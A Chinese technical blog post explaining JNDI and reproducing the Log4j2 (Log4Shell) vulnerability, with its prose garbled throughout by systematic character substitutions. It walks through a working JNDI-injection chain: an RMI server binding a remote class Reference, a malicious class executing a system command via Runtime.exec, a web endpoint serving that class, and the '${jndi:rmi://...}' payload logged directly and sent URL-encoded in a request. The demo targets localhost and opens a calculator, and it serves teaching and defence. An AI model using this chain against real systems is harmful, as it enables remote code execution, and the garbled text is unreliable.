背景

最近互联网技术圈最火的一件事莫过于Log4j2的破绽了。同时也涌现出了各类剖析文章,对于破绽的版本、破绽的起因、破绽的修复、程序员因而加班等等。

常常看我文章的敌人都晓得,面对这样热门有意思的技术点,怎能错过深入分析一波呢?大略你也曾经据说了,造成破绽的”罪魁祸首“是JNDI,明天咱们就聊它。

JNDI,好相熟,但……相熟的陌生人?JNDI到底是个什么鬼?好吧,如果你曾经有一两年的编程教训,但还不理解JNDI,甚至没听说过。那么,要么连忙换工作,要么连忙读读这篇文章。

JNDI是个什么鬼?

说起JNDI,从事Java EE编程的人应该都在用着,但知不知道本人在用,那就看你对技术的钻研深度了。这次Log4j2曝出破绽,不正阐明大量我的项目或间接或间接的在用着JNDI。来看看JNDI到底是个什么鬼吧?

先来看看Sun官网的解释:

Java命名和目录接口(Java Naming and Directory Interface ,JNDI)是用于从Java应用程序中拜访名称和目录服务的一组API。命名服务行将名称与对象相关联,以便能通过相应名称拜访这些对象。而目录服务即其对象具备属性及名称的命名服务。

命名或目录服务容许你集中管理共享信息的存储,这在网络应用程序中很重要,因为它能够使这类应用程序更加统一和易于治理。例如,能够将打印机配置存储在目录服务中,这样所有与打印机相干的应用程序都可能应用它。

概念是不是很形象,读了好几遍都没懂?一图胜千言:

看着怎么有点注册核心的意思?是的,如果你应用过Nacos或读过Nacos的源码,Naming Service这个概念肯定很相熟。在JNDI中,尽管实现形式不同、利用场景不同,但并不影响你通过类比注册核心的形式来了解JNDI。

如果你说没用过Nacos,那好,Map总用过吧。疏忽掉JNDI与Map底层实现的区别,JNDI提供了一个相似Map的绑定性能,而后又提供了基于lookup或search之类的办法来依据名称查找Object,好比Map的get办法。

总之,JNDI就是一个标准,标准就须要对应的API(也就是一些Java类)来实现。通过这组API,能够将Object(对象)和一个名称进行关联,同时提供了基于名称查找Object的路径。

最初,对于JNDI,SUN公司只是提供了一个接口标准,具体由对应的服务器来实现。比方,Tomcat有Tomcat的实现形式,JBoss有JBoss的实现形式,恪守标准就好。

命名服务与目录服务的区别

命名服务就是下面提到的,相似Map的绑定与查找性能。比方:在Internet中的域名服务(domain naming service,DNS),就是提供将域名映射到IP地址的命名服务,在浏览器中输出域名,通过DNS找到相应的IP地址,而后拜访网站。

目录服务是对命名服务的扩大,是一种非凡的命名服务,提供了属性与对象的关联和查找。一个目录服务通常领有一个命名服务(然而一个命名服务不用具备一个目录服务)。比方电话簿就是一个典型的目录服务,个别先在电话簿里找到相干的人名,再找到这个人的电话号码。

目录服务容许属性(比方用户的电子邮件地址)与对象相关联(而命名服务则不然)。这样,应用目录服务时,能够基于对象的属性来搜寻它们。

JNDI架构分层

JNDI通常分为三层:

  • JNDI API:用于与Java应用程序与其通信,这一层把应用程序和理论的数据源隔离开来。因而无论应用程序是拜访LDAP、RMI、DNS还是其余的目录服务,跟这一层都没有关系。
  • Naming Manager:也就是咱们提到的命名服务;
  • JNDI SPI(Server Provider Interface):用于具体到实现的办法上。

整体架构分层如下图:

须要留神的是:JNDI同时提供了应用程序编程接口(Application Programming Interface ,API)和服务提供程序接口(Service Provider Interface ,SPI)。

这样做对于与命名或目录服务交互的应用程序来说,必须存在一个用于该服务的JNDI服务提供程序,这便是JNDI SPI发挥作用的舞台。

一个服务提供程序基本上就是一组类,对特定的命名和目录服务实现了各种JNDI接口——这与JDBC驱动程序针对特定的数据系统实现各种JDBC接口极为类似。作为开发人员,不须要放心JNDI SPI。只需确保为每个要应用的命名或目录服务提供了一个服务提供程序即可。

JNDI的利用

上面再理解一下JNDI容器的概念及利用场景。

JNDI容器环境

JNDI中的命名(Naming),就是将Java对象以某个名称的模式绑定(binding)到一个容器环境(Context)中。当应用时,调用容器环境(Context)的查找(lookup)办法找出某个名称所绑定的Java对象。

容器环境(Context)自身也是一个Java对象,它也能够通过一个名称绑定到另一个容器环境(Context)中。将一个Context对象绑定到另外一个Context对象中,这就造成了一种父子级联关系,多个Context对象最终能够级联成一种树状构造,树中的每个Context对象中都能够绑定若干个Java对象。

JNDI 利用

JNDI的根本应用操作就是:先创立一个对象,而后放到容器环境中,应用的时候再拿进去。

此时,你是否纳闷,干嘛这么吃力呢?换句话说,这么吃力能带来什么益处呢?

在实在利用中,通常是由零碎程序或框架程序先将资源对象绑定到JNDI环境中,后续在该零碎或框架中运行的模块程序就能够从JNDI环境中查找这些资源对象了。

对于JDNI与咱们实际相结合的一个例子是JDBC的应用。在没有基于JNDI实现时,连贯一个数据库通常须要:加载数据库驱动程序、连贯数据库、操作数据库、敞开数据库等步骤。而不同的数据库在对上述步骤的实现又有所不同,参数也可能发生变化。

如果把这些问题交由J2EE容器来配置和治理,程序就只需对这些配置和治理进行援用就能够了。

以Tomcat服务器为例,在启动时能够创立一个连贯到某种数据库系统的数据源(DataSource)对象,并将该数据源(DataSource)对象绑定到JNDI环境中,当前在这个Tomcat服务器中运行的Servlet和JSP程序就能够从JNDI环境中查问出这个数据源(DataSource)对象进行应用,而不必关怀数据源(DataSource)对象是如何创立进去的。

这种形式极大地加强了零碎的可维护性,即使当数据库系统的连贯参数产生变更时,也与应用程序开发人员无关。 JNDI将一些要害信息放到内存中,能够进步拜访效率;通过 JNDI能够达到解耦的目标,让零碎更具可维护性和可扩展性。

JNDI实战

有了以上的概念和基础知识,当初能够开始实战了。

在架构图中,JNDI的实现层中蕴含了多种实现形式,这里就基于其中的RMI实现来写个实例体验一把。

基于RMI的实现

RMI是Java中的近程办法调用,基于Java的序列化和反序列化传递数据。

能够通过如下代码来搭建一个RMI服务:

// ①定义接口public interface RmiService extends Remote {    String sayHello() throws RemoteException;}// ②接口实现public class MyRmiServiceImpl extends UnicastRemoteObject implements RmiService {    protected MyRmiServiceImpl() throws RemoteException {    }    @Override    public String sayHello() throws RemoteException {        return "Hello World!";    }}// ③服务绑定并启动监听public class RmiServer {    public static void main(String[] args) throws Exception {        Registry registry = LocateRegistry.createRegistry(1099);        System.out.println("RMI启动,监听:1099 端口");        registry.bind("hello", new MyRmiServiceImpl());        Thread.currentThread().join();    }}

上述代码先定义了一个RmiService的接口,该接口实现了Remote,并对RmiService接口进行了实现。在实现的过程中继承了UnicastRemoteObject的具体服务实现类。

最初,在RmiServer中通过Registry监听1099端口,并将RmiService接口的实现类进行了绑定。

上面构建客户端拜访:

public class RmiClient {    public static void main(String[] args) throws Exception {        Hashtable env = new Hashtable();        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");        Context ctx = new InitialContext(env);        RmiService service = (RmiService) ctx.lookup("hello");        System.out.println(service.sayHello());    }}

其中,提供了两个参数Context.INITIAL_CONTEXT_FACTORYContext.PROVIDER_URL,别离示意Context初始化的工厂办法和提供服务的url。

执行上述程序,就能够取得近程端的对象并调用,这样就实现了RMI的通信。当然,这里Server和Client在同一台机器,就用了”localhost“的,如果是近程服务器,则替换成对应的IP即可。

构建攻打

惯例来说,如果要构建攻打,只需伪造一个服务器端,返回歹意的序列化Payload,客户端接管之后触发反序列化。但实际上对返回的类型是有肯定的限度的。

在JNDI中,有一个更好利用的形式,波及到命名援用的概念javax.naming.Reference

如果一些本地实例类过大,能够抉择一个近程援用,通过近程调用的形式,援用近程的类。这也就是JNDI利用Payload还会波及HTTP服务的起因。

RMI服务只会返回一个命名援用,通知JNDI利用该如何去寻找这个类,而后利用则会去HTTP服务下找到对应类的class文件并加载。此时,只有将恶意代码写入static办法中,则会在类加载时被执行。

根本流程如下:

批改RmiServer的代码实现:

public class RmiServer {    public static void main(String[] args) throws Exception {        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");        Registry registry = LocateRegistry.createRegistry(1099);        System.out.println("RMI启动,监听:1099 端口");        Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:8000/");        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind("hello", referenceWrapper);        Thread.currentThread().join();    }}

因为采纳的Java版本较高,需先将零碎变量com.sun.jndi.rmi.object.trustURLCodebase设置为true。

其中绑定的Reference波及三个变量:

  • className:近程加载时所应用的类名,如果本地找不到这个类名,就去近程加载;
  • classFactory:近程的工厂类;
  • classFactoryLocation:工厂类加载的地址,能够是file://、ftp://、http:// 等协定;

此时,通过Python启动一个简略的HTTP监听服务:

192:~ zzs$ python -m SimpleHTTPServerServing HTTP on 0.0.0.0 port 8000 ...

打印日志,阐明在8000端口进行了http的监听。

对应的客户端代码批改为如下:

public class RmiClient {    public static void main(String[] args) throws Exception {        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");        Hashtable env = new Hashtable();        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");        Context ctx = new InitialContext(env);        ctx.lookup("hello");    }}

执行,客户端代码,发现Python监听的服务打印如下:

127.0.0.1 - - [12/Dec/2021 16:19:40] code 404, message File not found127.0.0.1 - - [12/Dec/2021 16:19:40] "GET /Calc.class HTTP/1.1" 404 -

可见,客户端曾经去近程加载歹意class(Calc.class)文件了,只不过Python服务并没有返回对应的后果而已。

进一步革新

上述代码证实了能够通过RMI的模式进行攻打,上面基于上述代码和Spring Boot Web服务的模式进一步演示。通过JNDI注入+RMI的模式调用起本地的计算器。

上述的根底代码不变,后续只微调RmiServer和RmiClient类,同时增加一些新的类和办法。

第一步:构建攻打类

创立一个攻打类BugFinder,用于启动本地的计算器:

public class BugFinder {    public BugFinder() {        try {            System.out.println("执行破绽代码");            String[] commands = {"open", "/System/Applications/Calculator.app"};            Process pc = Runtime.getRuntime().exec(commands);            pc.waitFor();            System.out.println("实现执行破绽代码");        } catch (Exception e) {            e.printStackTrace();        }    }    public static void main(String[] args) {        BugFinder bugFinder = new BugFinder();    }}

自己是Mac操作系统,代码中就基于Mac的命令实现形式,通过Java命令调用Calculator.app。同时,当该类被初始化时,会执行启动计算器的命令。

将上述代码进行编译,寄存在一个地位,这里独自copy进去放在了”/Users/zzs/temp/BugFinder.class“门路,以备后用,这就是攻打的恶意代码了。

第二步:构建Web服务器

Web服务用于RMI调用时返回攻打类文件。这里采纳Spring Boot我的项目,外围实现代码如下:

@RestControllerpublic class ClassController {    @GetMapping(value = "/BugFinder.class")    public void getClass(HttpServletResponse response) {        String file = "/Users/zzs/temp/BugFinder.class";        FileInputStream inputStream = null;        OutputStream os = null;        try {            inputStream = new FileInputStream(file);            byte[] data = new byte[inputStream.available()];            inputStream.read(data);            os = response.getOutputStream();            os.write(data);            os.flush();        } catch (Exception e) {            e.printStackTrace();        } finally {            // 省略流的判断敞开;        }    }}

在该Web服务中,会读取BugFinder.class文件,并返回给RMI服务。重点提供了一个Web服务,可能返回一个可执行的class文件。

第三步:批改RmiServer

对RmiServer的绑定做一个批改:

public class RmiServer {    public static void main(String[] args) throws Exception {        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");        Registry registry = LocateRegistry.createRegistry(1099);        System.out.println("RMI启动,监听:1099 端口");        Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", "http://127.0.0.1:8080/BugFinder.class");        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind("hello", referenceWrapper);        Thread.currentThread().join();    }}

这里Reference传入的参数就是攻打类及近程下载的Web地址。

第四步:执行客户端代码

执行客户端代码进行拜访:

public class RmiClient {    public static void main(String[] args) throws Exception {        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");        Hashtable env = new Hashtable();        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");        Context ctx = new InitialContext(env);        ctx.lookup("hello");    }}

本地计算器被关上:

基于Log4j2的攻打

下面演示了根本的攻打模式,基于上述模式,咱们再来看看Log4j2的破绽攻打。

在Spring Boot我的项目中引入了log4j2的受影响版本:

<dependency>    <groupId>org.springframework.boot</groupId>    <artifactId>spring-boot-starter-web</artifactId>    <exclusions><!-- 去掉springboot默认配置 -->        <exclusion>            <groupId>org.springframework.boot</groupId>            <artifactId>spring-boot-starter-logging</artifactId>            </exclusion>        </exclusions></dependency><dependency> <!-- 引入log4j2依赖 -->   <groupId>org.springframework.boot</groupId>   <artifactId>spring-boot-starter-log4j2</artifactId></dependency>

这里须要留神,先排除掉Spring Boot默认的日志,否则可能无奈复现Bug。

批改一下RMI的Server代码:

public class RmiServer {    public static void main(String[] args) throws Exception {        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");        Registry registry = LocateRegistry.createRegistry(1099);        System.out.println("RMI启动,监听:1099 端口");        Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", null);        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind("hello", referenceWrapper);        Thread.currentThread().join();    }}

这里间接拜访BugFinder,JNDI绑定名称为:hello。

客户端引入Log4j2的API,而后记录日志:

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class RmiClient {    private static final Logger logger = LogManager.getLogger(RmiClient.class);    public static void main(String[] args) throws Exception {        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");        logger.error("${jndi:rmi://127.0.0.1:1099/hello}");        Thread.sleep(5000);    }}

日志中记录的信息为“${jndi:rmi://127.0.0.1:1099/hello}”,也就是RMI Server的地址和绑定的名称。

执行程序,发现计算器被胜利关上。

当然,在理论利用中,logger.error中记录的日志信息,可能是通过参数取得,比方在Spring Boot中定义如下代码:

@RestControllerpublic class Log4jController {    private static final Logger logger = LogManager.getLogger(Log4jController.class);    /**     * 不便测试,用了get申请     * @param username 登录名称     */    @GetMapping("/a")    public void log4j(String username){        System.out.println(username);        // 打印登录名称        logger.info(username);    }}

在浏览器中申请URL为:

http://localhost:8080/a?username=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A1099%2Fhello%7D

其中username参数的值就是“${jndi:rmi://127.0.0.1:1099/hello}”通过URLEncoder#encode编码之后的值。此时,拜访该URL地址,同样能够将关上计算器。

至于Log4j2外部逻辑破绽触发JNDI调用的局部就不再开展了,感兴趣的敌人在上述实例上进行debug即可看到残缺的调用链路。

小结

本篇文章通过对Log4j2破绽的剖析,不仅带大家理解了JNDI的基础知识,而且完满重现了一次基于JNDI的工具。本文波及到的代码都是自己亲自试验过的,强烈建议大家也跑一遍代码,真切感受一下如何实现攻打逻辑。

JNDI注入事件不仅在Log4j2中产生过,而且在大量其余框架中也有呈现。尽管JDNI为咱们带来了便当,但同时也带了危险。不过在实例中大家也看到在JDK的高版本中,不进行非凡设置(com.sun.jndi.rmi.object.trustURLCodebase设置为true),还是无奈触发破绽的。这样也多少让人释怀一些。

另外,如果你的零碎中真的呈现此破绽,强烈建议马上修复。在此破绽未被报道之前,可能只有多数人晓得。一旦众人皆知,蠢蠢欲动的人就多了,连忙防护起来吧。

博主简介:《SpringBoot技术底细》技术图书作者,热爱钻研技术,写技术干货文章。

公众号:「程序新视界」,博主的公众号,欢送关注~

技术交换:请分割博主微信号:zhuan2quan